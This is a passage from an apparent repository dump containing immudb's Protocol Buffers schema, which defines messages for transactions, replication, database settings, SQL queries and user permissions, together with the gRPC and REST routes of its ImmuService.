the initial entry to be returned by excluding the initial set of\n  // entries\n  uint64 offset = 2;\n\n  // Maximum number of entries to return\n  int32 limit = 3;\n\n  // If true, search in descending order\n  bool desc = 4;\n\n  // If > 0, do not wait for the indexer to index all entries, only require\n  // entries up to sinceTx to be indexed\n  uint64 sinceTx = 5;\n}\n\nmessage VerifiableZAddRequest {\n  // Data for new sorted set entry\n  ZAddRequest zAddRequest = 1;\n\n  // When generating the proof, generate consistency proof with state from this transaction\n  uint64 proveSinceTx = 2;\n}\n\nmessage TxRequest {\n  // Transaction id to query for\n  uint64 tx = 1;\n\n  // Specification for parsing entries, if empty, entries are returned in raw form\n  EntriesSpec entriesSpec = 2;\n\n  // If > 0, do not wait for the indexer to index all entries, only require\n  // entries up to sinceTx to be indexed, will affect resolving references\n  uint64 sinceTx = 3;\n\n  // Deprecated: If set to true, do not wait for the indexer to be up to date\n  bool noWait = 4;\n\n  // If set to true, do not resolve references (avoid looking up final values if not needed)\n  bool keepReferencesUnresolved = 5;\n}\n\nmessage EntriesSpec {\n  // Specification for parsing KV entries\n  EntryTypeSpec kvEntriesSpec = 1;\n\n  // Specification for parsing sorted set entries\n  EntryTypeSpec zEntriesSpec = 2;\n\n  // Specification for parsing SQL entries\n  EntryTypeSpec sqlEntriesSpec = 3;\n}\n\nmessage EntryTypeSpec {\n  // Action to perform on entries\n  EntryTypeAction action = 1;\n}\n\nenum EntryTypeAction {\n  // Exclude entries from the result\n  EXCLUDE = 0;\n\n  // Provide keys in raw (unparsed) form and only the digest of the value\n  ONLY_DIGEST = 1;\n\n  // Provide keys and values in raw form\n  RAW_VALUE = 2;\n\n  // Provide parsed keys and values and resolve values if needed\n  RESOLVE = 3;\n}\n\nmessage VerifiableTxRequest {\n  // Transaction ID\n  uint64 tx = 1;\n\n  // When generating the proof, generate consistency proof with state from this\n  // transaction\n  uint64 proveSinceTx = 2;\n\n  // Specification of how to parse entries\n  EntriesSpec entriesSpec = 3;\n\n  // If > 0, do not wait for the indexer to index all entries, only require\n  // entries up to sinceTx to be indexed, will affect resolving references\n  uint64 sinceTx = 4;\n\n  // Deprecated: If set to true, do not wait for the indexer to be up to date\n  bool noWait = 5;\n\n  // If set to true, do not resolve references (avoid looking up final values if not needed)\n  bool keepReferencesUnresolved = 6;\n}\n\nmessage TxScanRequest {\n  // ID of the transaction where scanning should start\n  uint64 initialTx = 1;\n\n  // Maximum number of transactions to scan, when not specified the default limit is used\n  uint32 limit = 2;\n\n  // If set to true, scan transactions in descending order\n  bool desc = 3;\n\n  // Specification of how to parse entries\n  EntriesSpec entriesSpec = 4;\n\n  // If > 0, do not wait for the indexer to index all entries, only require\n  // entries up to sinceTx to be indexed, will affect resolving references\n  uint64 sinceTx = 5;\n\n  // Deprecated: If set to true, do not wait for the indexer to be up to date\n  bool noWait = 6;\n}\n\nmessage TxList {\n  // List of transactions\n  repeated Tx txs = 1;\n}\n\nmessage ExportTxRequest {\n  // Id of transaction to export\n  uint64 tx = 1;\n  // If set to true, non-committed transactions can be exported\n  bool allowPreCommitted = 2;\n  // Used on synchronous replication to notify the primary about replica state\n  ReplicaState replicaState = 3;\n  // If set to true, integrity checks are skipped when reading data\n  bool skipIntegrityCheck = 4;\n}\n\nmessage ReplicaState {\n  string UUID = 1;\n  uint64 committedTxID = 2;\n  bytes committedAlh = 3;\n  uint64 precommittedTxID = 4;\n  bytes precommittedAlh = 5;\n}\n\nmessage Database {\n  // Name of the database\n  string databaseName = 1;\n}\n\nmessage DatabaseSettings {\n  // Name of the database\n  string databaseName = 1;\n\n  // If set to true, this database is replicating another database\n  bool replica = 2;\n\n  // Name of the database to replicate\n  string primaryDatabase = 3;\n\n  // Hostname of the immudb instance with database to replicate\n  string primaryHost = 4;\n\n  // Port of the immudb instance with database to replicate\n  uint32 primaryPort = 5;\n\n  // Username of the user with read access of the database to replicate\n  string primaryUsername = 6;\n\n  // Password of the user with read access of the database to replicate\n  string primaryPassword = 7;\n\n  // Size of files stored on disk\n  uint32 fileSize = 8;\n\n  // Maximum length of keys\n  uint32 maxKeyLen = 9;\n\n  // Maximum length of values\n  uint32 maxValueLen = 10;\n\n  // Maximum number of entries in a single transaction\n  uint32 maxTxEntries = 11;\n\n  // If set to true, do not include commit timestamp in transaction headers\n  bool excludeCommitTime = 12;\n}\n\nmessage CreateDatabaseRequest {\n  // Database name\n  string name = 1;\n\n  // Database settings\n  DatabaseNullableSettings settings = 2;\n\n  // If set to true, do not fail if the database already exists\n  bool ifNotExists = 3;\n}\n\nmessage CreateDatabaseResponse {\n  // Database name\n  string name = 1;\n\n  // Current database settings\n  DatabaseNullableSettings settings = 2;\n\n  // Set to true if given database already existed\n  bool alreadyExisted = 3;\n}\n\nmessage UpdateDatabaseRequest {\n  // Database name\n  string database = 1;\n\n  // Updated settings\n  DatabaseNullableSettings settings = 2;\n}\n\n// Reserved to reply with more advanced response later\nmessage UpdateDatabaseResponse {\n  // Database name\n  string database = 1;\n\n  // Current database settings\n  DatabaseNullableSettings settings = 2;\n}\n\nmessage DatabaseSettingsRequest {}\n\nmessage DatabaseSettingsResponse {\n  // Database name\n  string database = 1;\n\n  // Database settings\n  DatabaseNullableSettings settings = 2;\n}\n\nmessage NullableUint32 {\n  uint32 value = 1;\n}\n\nmessage NullableUint64 {\n  uint64 value = 1;\n}\n\nmessage NullableFloat {\n  float value = 1;\n}\n\nmessage NullableBool {\n  bool value = 1;\n}\n\nmessage NullableString {\n  string value = 1;\n}\n\nmessage NullableMilliseconds {\n  int64 value = 1;\n}\n\nmessage DatabaseNullableSettings {\n  // Replication settings\n  ReplicationNullableSettings replicationSettings = 2;\n\n  // Max filesize on disk\n  NullableUint32 fileSize = 8;\n\n  // Maximum length of keys\n  NullableUint32 maxKeyLen = 9;\n\n  // Maximum length of values\n  NullableUint32 maxValueLen = 10;\n\n  // Maximum number of entries in a single transaction\n  NullableUint32 maxTxEntries = 11;\n\n  // If set to true, do not include commit timestamp in transaction headers\n  NullableBool excludeCommitTime = 12;\n\n  // Maximum number of simultaneous commits prepared for write\n  NullableUint32 maxConcurrency = 13;\n\n  // Maximum number of simultaneous IO writes\n  NullableUint32 maxIOConcurrency = 14;\n\n  // Size of the cache for transaction logs\n  NullableUint32 txLogCacheSize = 15;\n\n  // Maximum number of simultaneous value files opened\n  NullableUint32 vLogMaxOpenedFiles = 16;\n\n  // Maximum number of simultaneous transaction log files opened\n  NullableUint32 txLogMaxOpenedFiles = 17;\n\n  // Maximum number of simultaneous commit log files opened\n  NullableUint32 commitLogMaxOpenedFiles = 18;\n\n  // Index settings\n  IndexNullableSettings indexSettings = 19;\n\n  // Version of transaction header to use (limits available features)\n  NullableUint32 writeTxHeaderVersion = 20;\n\n  // If set to true, automatically load the database when starting immudb (true by default)\n  NullableBool autoload = 21;\n\n  // Size of the pool of read buffers\n  NullableUint32 readTxPoolSize = 22;\n\n  // Fsync frequency during commit process\n  NullableMilliseconds syncFrequency = 23;\n\n  // Size of the in-memory buffer for write operations\n  NullableUint32 writeBufferSize = 24;\n\n  // Settings of Appendable Hash Tree\n  AHTNullableSettings ahtSettings = 25;\n\n  // Maximum number of pre-committed transactions\n  NullableUint32 maxActiveTransactions = 26;\n\n  // Limit the number of read entries per transaction\n  NullableUint32 mvccReadSetLimit = 27;\n\n  // Size of the cache for value logs\n  NullableUint32 vLogCacheSize = 28;\n\n  // Truncation settings\n  TruncationNullableSettings truncationSettings = 29;\n\n  // If set to true, values are stored together with the transaction header (true by default)\n  NullableBool embeddedValues = 30;\n\n  // Enable file preallocation\n  NullableBool preallocFiles = 31;\n}\n\nmessage ReplicationNullableSettings {\n  // If set to true, this database is replicating another database\n  NullableBool replica = 1;\n\n  // Name of the database to replicate\n  NullableString primaryDatabase = 2;\n\n  // Hostname of the immudb instance with database to replicate\n  NullableString primaryHost = 3;\n\n  // Port of the immudb instance with database to replicate\n  NullableUint32 primaryPort = 4;\n\n  // Username of the user with read access of the database to replicate\n  NullableString primaryUsername = 5;\n\n  // Password of the user with read access of the database to replicate\n  NullableString primaryPassword = 6;\n\n  // Enable synchronous replication\n  NullableBool syncReplication = 7;\n\n  // Number of confirmations from synchronous replicas required to commit a transaction\n  NullableUint32 syncAcks = 8;\n\n  // Maximum number of prefetched transactions\n  NullableUint32 prefetchTxBufferSize = 9;\n\n  // Number of concurrent replications\n  NullableUint32 replicationCommitConcurrency = 10;\n\n  // Allow precommitted transactions to be discarded if the replica diverges from the primary\n  NullableBool allowTxDiscarding = 11;\n\n  // Disable integrity check when reading data during replication\n  NullableBool skipIntegrityCheck = 12;\n\n  // Wait for indexing to be up to date during replication\n  NullableBool waitForIndexing = 13;\n}\n\nmessage TruncationNullableSettings {\n  // Retention Period for data in the database\n  NullableMilliseconds retentionPeriod = 1;\n\n  // Truncation Frequency for the database\n  NullableMilliseconds truncationFrequency = 2;\n}\n\nmessage IndexNullableSettings {\n  // Number of new index entries between disk flushes\n  NullableUint32 flushThreshold = 1;\n\n  // Number of new index entries between disk flushes with file sync\n  NullableUint32 syncThreshold = 2;\n\n  // Size of the Btree node cache in bytes\n  NullableUint32 cacheSize = 3;\n\n  // Max size of a single Btree node in bytes\n  NullableUint32 maxNodeSize = 4;\n\n  // Maximum number of active btree snapshots\n  NullableUint32 maxActiveSnapshots = 5;\n\n  // Time in milliseconds between the most recent DB snapshot is automatically renewed\n  NullableUint64 renewSnapRootAfter = 6;\n\n  // Minimum number of updates entries in the btree to allow for full compaction\n  NullableUint32 compactionThld = 7;\n\n  // Additional delay added during indexing when full compaction is in progress\n  NullableUint32 delayDuringCompaction = 8;\n\n  // Maximum number of simultaneously opened nodes files\n  NullableUint32 nodesLogMaxOpenedFiles = 9;\n\n  // Maximum number of simultaneously opened node history files\n  NullableUint32 historyLogMaxOpenedFiles = 10;\n\n  // Maximum number of simultaneously opened commit log files\n  NullableUint32 commitLogMaxOpenedFiles = 11;\n\n  // Size of the in-memory flush buffer (in bytes)\n  NullableUint32 flushBufferSize = 12;\n\n  // Percentage of node files cleaned up during each flush\n  NullableFloat cleanupPercentage = 13;\n\n  // Maximum number of transactions indexed together\n  NullableUint32 maxBulkSize = 14;\n\n  // Maximum time waiting for more transactions to be committed and included into the same bulk\n  NullableMilliseconds bulkPreparationTimeout = 15;\n}\n\nmessage AHTNullableSettings {\n  // Number of new leaves in the tree between synchronous flush to disk\n  NullableUint32 syncThreshold = 1;\n\n  // Size of the in-memory write buffer\n  NullableUint32 writeBufferSize = 2;\n}\n\nmessage LoadDatabaseRequest {\n  // Database name\n\n  string database = 1;\n  //  may add createIfNotExist\n}\n\nmessage LoadDatabaseResponse {\n  // Database name\n  string database = 1;\n  // may add settings\n}\n\nmessage UnloadDatabaseRequest {\n  // Database name\n  string database = 1;\n}\n\nmessage UnloadDatabaseResponse {\n  // Database name\n  string database = 1;\n}\n\nmessage DeleteDatabaseRequest {\n  // Database name\n  string database = 1;\n}\n\nmessage DeleteDatabaseResponse {\n  // Database name\n  string database = 1;\n}\n\nmessage FlushIndexRequest {\n  // Percentage of nodes file to cleanup during flush\n  float cleanupPercentage = 1;\n\n  // If true, do a full disk sync after the flush\n  bool synced = 2;\n}\n\nmessage FlushIndexResponse {\n  // Database name\n  string database = 1;\n}\n\nmessage Table {\n  // Table name\n  string tableName = 1;\n}\n\nmessage SQLGetRequest {\n  // Table name\n  string table = 1;\n\n  // Values of the primary key\n  repeated SQLValue pkValues = 2;\n\n  // Id of the transaction at which the row was added / modified\n  uint64 atTx = 3;\n\n  // If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed\n  uint64 sinceTx = 4;\n}\n\nmessage VerifiableSQLGetRequest {\n  // Data of row to query\n  SQLGetRequest sqlGetRequest = 1;\n\n  // When generating the proof, generate consistency proof with state from this transaction\n  uint64 proveSinceTx = 2;\n}\n\nmessage SQLEntry {\n  // Id of the transaction when the row was added / modified\n  uint64 tx = 1;\n\n  // Raw key of the row\n  bytes key = 2;\n\n  // Raw value of the row\n  bytes value = 3;\n\n  // Metadata of the raw value\n  KVMetadata metadata = 4;\n}\n\nmessage VerifiableSQLEntry {\n  reserved 6;\n\n  // Raw row entry data\n  SQLEntry sqlEntry = 1;\n\n  // Verifiable transaction of the row\n  VerifiableTx verifiableTx = 2;\n\n  // Inclusion proof of the row in the transaction\n  InclusionProof inclusionProof = 3;\n\n  // Internal ID of the database (used to validate raw entry values)\n  uint32 DatabaseId = 4;\n\n  // Internal ID of the table (used to validate raw entry values)\n  uint32 TableId = 5;\n\n  // Internal IDs of columns for the primary key (used to validate raw entry values)\n  repeated uint32 PKIDs = 16;\n\n  // Mapping of used column IDs to their names\n  map<uint32, string> ColNamesById = 8;\n\n  // Mapping of column names to their IDS\n  map<string, uint32> ColIdsByName = 9;\n\n  // Mapping of column IDs to their types\n  map<uint32, string> ColTypesById = 10;\n\n  // Mapping of column IDs to their length constraints\n  map<uint32, int32> ColLenById = 11;\n\n  // Variable is used to assign unique ids to new columns as they are created\n  uint32 MaxColId = 12;\n}\n\nmessage UseDatabaseReply {\n  // Deprecated: database access token\n  string token = 1;\n}\n\nenum PermissionAction {\n  // Grant permission\n  GRANT = 0;\n\n  // Revoke permission\n  REVOKE = 1;\n}\n\nmessage ChangePermissionRequest {\n  // Action to perform\n  PermissionAction action = 1;\n\n  // Name of the user to update\n  string username = 2;\n\n  // Name of the database\n  string database = 3;\n\n  // Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin\n  uint32 permission = 4;\n}\n\nmessage ChangeSQLPrivilegesRequest {\n  // Action to perform\n  PermissionAction action = 1;\n\n  // Name of the user to update\n  string username = 2;\n\n  // Name of the database\n  string database = 3;\n\n  // SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER\n  repeated string privileges = 4;\n}\n\nmessage ChangeSQLPrivilegesResponse {}\n\nmessage SetActiveUserRequest {\n  // If true, the user is active\n  bool active = 1;\n\n  // Name of the user to activate / deactivate\n  string username = 2;\n}\n\nmessage DatabaseListResponse {\n  // Database list\n  repeated Database databases = 1;\n}\n\nmessage DatabaseListRequestV2 {}\n\nmessage DatabaseListResponseV2 {\n  // Database list with current database settings\n  repeated DatabaseInfo databases = 1;\n}\n\nmessage DatabaseInfo {\n  // Database name\n  string name = 1;\n\n  // Current database settings\n  DatabaseNullableSettings settings = 2;\n\n  // If true, this database is currently loaded into memory\n  bool loaded = 3;\n\n  // database disk size\n  uint64 diskSize = 4;\n\n  // total number of transactions\n  uint64 numTransactions = 5;\n\n  // the time when the db was created\n  uint64 created_at = 6;\n\n  // the user who created the database\n  string created_by = 7;\n}\n\nmessage Chunk {\n  bytes content = 1;\n  map<string, bytes> metadata = 2;\n}\n\nmessage UseSnapshotRequest {\n  uint64 sinceTx = 1;\n  uint64 asBeforeTx = 2;\n}\n\nmessage SQLExecRequest {\n  // SQL query\n  string sql = 1;\n\n  // Named query parameters\n  repeated NamedParam params = 2;\n\n  // If true, do not wait for the indexer to index written changes\n  bool noWait = 3;\n}\n\nmessage SQLQueryRequest {\n  // SQL query\n  string sql = 1;\n\n  // Named query parameters\n  repeated NamedParam params = 2;\n\n  // If true, reuse previously opened snapshot\n  bool reuseSnapshot = 3 [deprecated = true];\n\n  // Wheter the client accepts a streaming response\n  bool acceptStream = 4;\n}\n\nmessage NamedParam {\n  // Parameter name\n  string name = 1;\n\n  // Parameter value\n  SQLValue value = 2;\n}\n\nmessage SQLExecResult {\n  // List of committed transactions as a result of the exec operation\n  repeated CommittedSQLTx txs = 5;\n\n  // If true, there's an ongoing transaction after exec completes\n  bool ongoingTx = 6;\n}\n\nmessage CommittedSQLTx {\n  // Transaction header\n  TxHeader header = 1;\n\n  // Number of updated rows\n  uint32 updatedRows = 2;\n\n  // The value of last inserted auto_increment primary key (mapped by table name)\n  map<string, SQLValue> lastInsertedPKs = 3;\n\n  // The value of first inserted auto_increment primary key (mapped by table name)\n  map<string, SQLValue> firstInsertedPKs = 4;\n}\n\nmessage SQLQueryResult {\n  // Result columns description\n  repeated Column columns = 2;\n\n  // Result rows\n  repeated Row rows = 1;\n}\n\nmessage Column {\n  // Column name\n  string name = 1;\n\n  // Column type\n  string type = 2;\n}\n\nmessage Row {\n  // Column names\n  repeated string columns = 1;\n\n  // Column values\n  repeated SQLValue values = 2;\n}\n\nmessage SQLValue {\n  oneof value {\n    google.protobuf.NullValue null = 1;\n    int64 n = 2;\n    string s = 3;\n    bool b = 4;\n    bytes bs = 5;\n    int64 ts = 6;\n    double f = 7;\n  }\n}\n\nenum TxMode {\n  // Read-only transaction\n  ReadOnly = 0;\n\n  // Write-only transaction\n  WriteOnly = 1;\n\n  // Read-write transaction\n  ReadWrite = 2;\n}\n\nmessage NewTxRequest {\n  // Transaction mode\n  TxMode mode = 1;\n  // An existing snapshot may be reused as long as it includes the specified transaction\n  // If not specified it will include up to the latest precommitted transaction\n  NullableUint64 snapshotMustIncludeTxID = 2;\n  // An existing snapshot may be reused as long as it is not older than the specified timeframe\n  NullableMilliseconds snapshotRenewalPeriod = 3;\n  // Indexing may not be up to date when doing MVCC\n  bool unsafeMVCC = 4;\n}\n\nmessage NewTxResponse {\n  // Internal transaction ID\n  string transactionID = 1;\n}\n\nmessage ErrorInfo {\n  // Error code\n  string code = 1;\n\n  // Error Description\n  string cause = 2;\n}\n\nmessage DebugInfo {\n  // Stack trace when the error was noticed\n  string stack = 1;\n}\n\nmessage RetryInfo {\n  // Number of milliseconds after which the request can be retried\n  int32 retry_delay = 1;\n}\n\nmessage TruncateDatabaseRequest {\n  // Database name\n  string database = 1;\n\n  // Retention Period of data\n  int64 retentionPeriod = 2;\n}\n\nmessage TruncateDatabaseResponse {\n  // Database name\n  string database = 1;\n}\n\n// immudb gRPC & REST service\nservice ImmuService {\n  rpc ListUsers(google.protobuf.Empty) returns (UserList) {\n    option (google.api.http) = {\n      get: \"/user/list\"\n    };\n  }\n\n  rpc CreateUser(CreateUserRequest) returns (google.protobuf.Empty) {\n    option (google.api.http) = {\n      post: \"/user\"\n      body: \"*\"\n    };\n  }\n\n  rpc ChangePassword(ChangePasswordRequest) returns (google.protobuf.Empty) {\n    option (google.api.http) = {\n      post: \"/user/password/change\"\n      body: \"*\"\n    };\n  }\n\n  rpc ChangePermission(ChangePermissionRequest) returns (google.protobuf.Empty) {\n    option (google.api.http) = {\n      post: \"/user/changepermission\"\n      body: \"*\"\n    };\n  }\n\n  rpc ChangeSQLPrivileges(ChangeSQLPrivilegesRequest) returns (ChangeSQLPrivilegesResponse) {\n    option (google.api.http) = {\n      post: \"/user/changesqlprivileges\"\n      body: \"*\"\n    };\n  }\n\n  rpc SetActiveUser(SetActiveUserRequest) returns (google.protobuf.Empty) {\n    option (google.api.http) = {\n      post: \"/user/setactiveUser\"\n      body: \"*\"\n    };\n  }\n\n  rpc UpdateAuthConfig(AuthConfig) returns (google.protobuf.Empty) {\n    option deprecated = true;\n  } // DEPRECATED\n\n  rpc UpdateMTLSConfig(MTLSConfig) returns (google.protobuf.Empty) {\n    option deprecated = true;\n  } // DEPRECATED\n\n  rpc OpenSession(OpenSessionRequest) returns (OpenSessionResponse) {}\n\n  rpc CloseSession(google.protobuf.Empty) returns (google.protobuf.Empty) {}\n\n  rpc KeepAlive(google.protobuf.Empty) returns (google.protobuf.Empty) {}\n\n  rpc NewTx(NewTxRequest) returns (NewTxResponse) {}\n\n  rpc Commit(google.protobuf.Empty) returns (CommittedSQLTx) {}\n\n  rpc Rollback(google.protobuf.Empty) returns (google.protobuf.Empty) {}\n\n  rpc TxSQLExec(SQLExecRequest) returns (google.protobuf.Empty) {}\n\n  rpc TxSQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) {}\n\n  rpc Login(LoginRequest) returns (LoginResponse) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/login\"\n      body: \"*\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n    };\n  }\n\n  rpc Logout(google.protobuf.Empty) returns (google.protobuf.Empty) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/logout\"\n      body: \"*\"\n    };\n  }\n\n  rpc Set(SetRequest) returns (TxHeader) {\n    option (google.api.http) = {\n      post: \"/db/set\"\n      body: \"*\"\n    };\n  }\n\n  rpc VerifiableSet(VerifiableSetRequest) returns (VerifiableTx) {\n    option (google.api.http) = {\n      post: \"/db/verifiable/set\"\n      body: \"*\"\n    };\n  }\n\n  rpc Get(KeyRequest) returns (Entry) {\n    option (google.api.http) = {\n      get: \"/db/get/{key}\"\n    };\n  }\n\n  rpc VerifiableGet(VerifiableGetRequest) returns (VerifiableEntry) {\n    option (google.api.http) = {\n      post: \"/db/verifiable/get\"\n      body: \"*\"\n    };\n  }\n\n  rpc Delete(DeleteKeysRequest) returns (TxHeader) {\n    option (google.api.http) = {\n      post: \"/db/deletekey\"\n      body: \"*\"\n    };\n  }\n\n  rpc GetAll(KeyListRequest) returns (Entries) {\n    option (google.api.http) = {\n      post: \"/db/getall\"\n      body: \"*\"\n    };\n  }\n\n  rpc ExecAll(ExecAllRequest) returns (TxHeader) {\n    option (google.api.http) = {\n      post: \"/db/execall\"\n      body: \"*\"\n    };\n  }\n\n  rpc Scan(ScanRequest) returns (Entries) {\n    option (google.api.http) = {\n      post: \"/db/scan\"\n      body: \"*\"\n    };\n  }\n\n  // NOT YET SUPPORTED\n  rpc Count(KeyPrefix) returns (EntryCount) {\n    option (google.api.http) = {\n      get: \"/db/count/{prefix}\"\n    };\n  }\n\n  // NOT YET SUPPORTED\n  rpc CountAll(google.protobuf.Empty) returns (EntryCount) {\n    option (google.api.http) = {\n      get: \"/db/countall\"\n    };\n  }\n\n  rpc TxById(TxRequest) returns (Tx) {\n    option (google.api.http) = {\n      get: \"/db/tx/{tx}\"\n    };\n  }\n\n  rpc VerifiableTxById(VerifiableTxRequest) returns (VerifiableTx) {\n    option (google.api.http) = {\n      get: \"/db/verifiable/tx/{tx}\"\n    };\n  }\n\n  rpc TxScan(TxScanRequest) returns (TxList) {\n    option (google.api.http) = {\n      post: \"/db/tx\"\n      body: \"*\"\n    };\n  }\n\n  rpc History(HistoryRequest) returns (Entries) {\n    option (google.api.http) = {\n      post: \"/db/history\"\n      body: \"*\"\n    };\n  }\n\n  // ServerInfo returns information about the server instance.\n  // ServerInfoRequest is defined for future extensions.\n  rpc ServerInfo(ServerInfoRequest) returns (ServerInfoResponse) {\n    option (google.api.http) = {\n      get: \"/serverinfo\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n    };\n  }\n\n  // DEPRECATED: Use ServerInfo\n  rpc Health(google.protobuf.Empty) returns (HealthResponse) {\n    option (google.api.http) = {\n      get: \"/health\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n    };\n  }\n\n  rpc DatabaseHealth(google.protobuf.Empty) returns (DatabaseHealthResponse) {\n    option (google.api.http) = {\n      get: \"/db/health\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n    };\n  }\n\n  rpc CurrentState(google.protobuf.Empty) returns (ImmutableState) {\n    option (google.api.http) = {\n      get: \"/db/state\"\n    };\n    option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = {\n      security: {} // no security\n    };\n  }\n\n  rpc SetReference(ReferenceRequest) returns (TxHeader) {\n    option (google.api.http) = {\n      post: \"/db/setreference\"\n      body: \"*\"\n    };\n  }\n\n  rpc VerifiableSetReference(VerifiableReferenceRequest) returns (VerifiableTx) {\n    option (google.api.http) = {\n      post: \"/db/verifiable/setreference\"\n      body: \"*\"\n    };\n  }\n\n  rpc ZAdd(ZAddRequest) returns (TxHeader) {\n    option (google.api.http) = {\n      post: \"/db/zadd\"\n      body: \"*\"\n    };\n  }\n\n  rpc VerifiableZAdd(VerifiableZAddRequest) returns (VerifiableTx) {\n    option (google.api.http) = {\n      post: \"/db/verifiable/zadd\"\n      body: \"*\"\n    };\n  }\n\n  rpc ZScan(ZScanRequest) returns (ZEntries) {\n    option (google.api.http) = {\n      post: \"/db/zscan\"\n      body: \"*\"\n    };\n  }\n\n  // DEPRECATED: Use CreateDatabaseV2\n  rpc CreateDatabase(Database) returns (google.protobuf.Empty) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/db/create\"\n      body: \"*\"\n    };\n  }\n\n  // DEPRECATED: Use CreateDatabaseV2\n  rpc CreateDatabaseWith(DatabaseSettings) returns (google.protobuf.Empty) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/db/createwith\"\n      body: \"*\"\n    };\n  }\n\n  rpc CreateDatabaseV2(CreateDatabaseRequest) returns (CreateDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/create/v2\"\n      body: \"*\"\n    };\n  }\n\n  rpc LoadDatabase(LoadDatabaseRequest) returns (LoadDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/load\"\n      body: \"*\"\n    };\n  }\n\n  rpc UnloadDatabase(UnloadDatabaseRequest) returns (UnloadDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/unload\"\n      body: \"*\"\n    };\n  }\n\n  rpc DeleteDatabase(DeleteDatabaseRequest) returns (DeleteDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/delete\"\n      body: \"*\"\n    };\n  }\n\n  // DEPRECATED: Use DatabaseListV2\n  rpc DatabaseList(google.protobuf.Empty) returns (DatabaseListResponse) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/db/list\"\n      body: \"*\"\n    };\n  }\n\n  rpc DatabaseListV2(DatabaseListRequestV2) returns (DatabaseListResponseV2) {\n    option (google.api.http) = {\n      post: \"/db/list/v2\"\n      body: \"*\"\n    };\n  }\n\n  rpc UseDatabase(Database) returns (UseDatabaseReply) {\n    option (google.api.http) = {\n      get: \"/db/use/{databaseName}\"\n    };\n  }\n\n  // DEPRECATED: Use UpdateDatabaseV2\n  rpc UpdateDatabase(DatabaseSettings) returns (google.protobuf.Empty) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/db/update\"\n      body: \"*\"\n    };\n  }\n\n  rpc UpdateDatabaseV2(UpdateDatabaseRequest) returns (UpdateDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/update/v2\"\n      body: \"*\"\n    };\n  }\n\n  // DEPRECATED: Use GetDatabaseSettingsV2\n  rpc GetDatabaseSettings(google.protobuf.Empty) returns (DatabaseSettings) {\n    option deprecated = true;\n    option (google.api.http) = {\n      post: \"/db/settings\"\n      body: \"*\"\n    };\n  }\n\n  rpc GetDatabaseSettingsV2(DatabaseSettingsRequest) returns (DatabaseSettingsResponse) {\n    option (google.api.http) = {\n      post: \"/db/settings/v2\"\n      body: \"*\"\n    };\n  }\n\n  rpc FlushIndex(FlushIndexRequest) returns (FlushIndexResponse) {\n    option (google.api.http) = {\n      get: \"/db/flushindex\"\n    };\n  }\n\n  rpc CompactIndex(google.protobuf.Empty) returns (google.protobuf.Empty) {\n    option (google.api.http) = {\n      get: \"/db/compactindex\"\n    };\n  }\n\n  // Streams\n  rpc streamGet(KeyRequest) returns (stream Chunk) {}\n\n  rpc streamSet(stream Chunk) returns (TxHeader) {}\n\n  rpc streamVerifiableGet(VerifiableGetRequest) returns (stream Chunk) {}\n\n  rpc streamVerifiableSet(stream Chunk) returns (VerifiableTx) {}\n\n  rpc streamScan(ScanRequest) returns (stream Chunk) {}\n\n  rpc streamZScan(ZScanRequest) returns (stream Chunk) {}\n\n  rpc streamHistory(HistoryRequest) returns (stream Chunk) {}\n\n  rpc streamExecAll(stream Chunk) returns (TxHeader) {}\n\n  // Replication\n  rpc exportTx(ExportTxRequest) returns (stream Chunk) {}\n\n  rpc replicateTx(stream Chunk) returns (TxHeader) {}\n\n  rpc streamExportTx(stream ExportTxRequest) returns (stream Chunk) {}\n\n  rpc SQLExec(SQLExecRequest) returns (SQLExecResult) {\n    option (google.api.http) = {\n      post: \"/db/sqlexec\"\n      body: \"*\"\n    };\n  }\n\n  // For backward compatibility with the grpc-gateway API\n  rpc UnarySQLQuery(SQLQueryRequest) returns (SQLQueryResult) {\n    option (google.api.http) = {\n      post: \"/db/sqlquery\"\n      body: \"*\"\n    };\n  }\n\n  rpc SQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) {\n    option (google.api.http) = {\n      post: \"/db/sqlquery\"\n      body: \"*\"\n    };\n  }\n\n  rpc ListTables(google.protobuf.Empty) returns (SQLQueryResult) {\n    option (google.api.http) = {\n      get: \"/db/table/list\"\n    };\n  }\n\n  rpc DescribeTable(Table) returns (SQLQueryResult) {\n    option (google.api.http) = {\n      post: \"/db/tables\"\n      body: \"*\"\n    };\n  }\n\n  rpc VerifiableSQLGet(VerifiableSQLGetRequest) returns (VerifiableSQLEntry) {\n    option (google.api.http) = {\n      post: \"/db/verifiable/sqlget\"\n      body: \"*\"\n    };\n  }\n\n  rpc TruncateDatabase(TruncateDatabaseRequest) returns (TruncateDatabaseResponse) {\n    option (google.api.http) = {\n      post: \"/db/truncate\"\n      body: \"*\"\n    };\n  }\n}\n"
  },
  {
    "path": "pkg/api/schema/schema.swagger.json",
